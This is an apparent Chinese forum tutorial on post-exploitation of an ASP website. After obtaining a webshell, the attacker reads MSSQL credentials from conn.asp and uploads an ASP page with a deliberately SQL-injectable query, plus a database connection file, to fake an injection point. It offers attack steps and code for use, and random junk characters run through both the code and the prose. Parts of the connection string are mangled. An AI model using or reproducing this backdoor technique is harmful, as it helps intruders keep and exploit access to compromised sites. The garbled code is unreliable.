首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
7 d, m3 \$ q; U/ X0 j$ rASP/Visual Basic代码
- T/ y5 v. K6 Y<!--#include file="xx.asp"--> * I6 A. W0 N, H. t
<% . c$ O& M+ }2 q7 i
set rs=server.createobject("ADODB.recordset")
* v9 K+ ~; g+ ^- O/ u5 h& r3 u; Q7 Lid = request("id") 7 m5 A: A" [! ^' o* J
strSQL = "select * from admin where id=" & id 4 r2 ?8 J6 [; g* F4 M) O7 e
rs.open strSQL,conn,1,3
+ w9 d& c3 K( M7 s3 m1 ~rs.close / d! U+ ~* x$ F: y$ k6 v
%>
; \, W9 v3 X! Z/ j9 j2 L把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!. P7 H2 _+ \1 i) t
然后就要构造一个连接数据库的文件了,代码如下:
' `3 T, x8 x7 ~5 `. J0 |4 _ASP/Visual Basic代码
, c3 F& c! j0 U9 Z4 c<%
0 A& `- F/ V* B% p, c. g4 rstrSQLServerName = "000.000.000.000" '服务器名称或地址 - c, l+ a5 y) n @* {' K
strSQLDBUserName = "sqlname" '数据库帐号
% G7 W" m. j' _8 qstrSQLDBPassword = "sqlpass" '数据库密码
2 y2 G$ ?: O) I) w A# B$ lstrSQLDBName = "sqldataname" '数据库名称 + U* m1 P. Z6 ]! G2 m9 L
Set conn = Server.CreateObject("ADODB.Connection") h4 a) B% j* K+ q
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
A" C0 T/ O* M$ Y1 ]conn.open strCon * Y# f5 j9 D3 g' R3 L) c
%> * b6 G9 Q h0 }4 c5 c0 Y
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功0 h; L2 s- J3 R1 j
|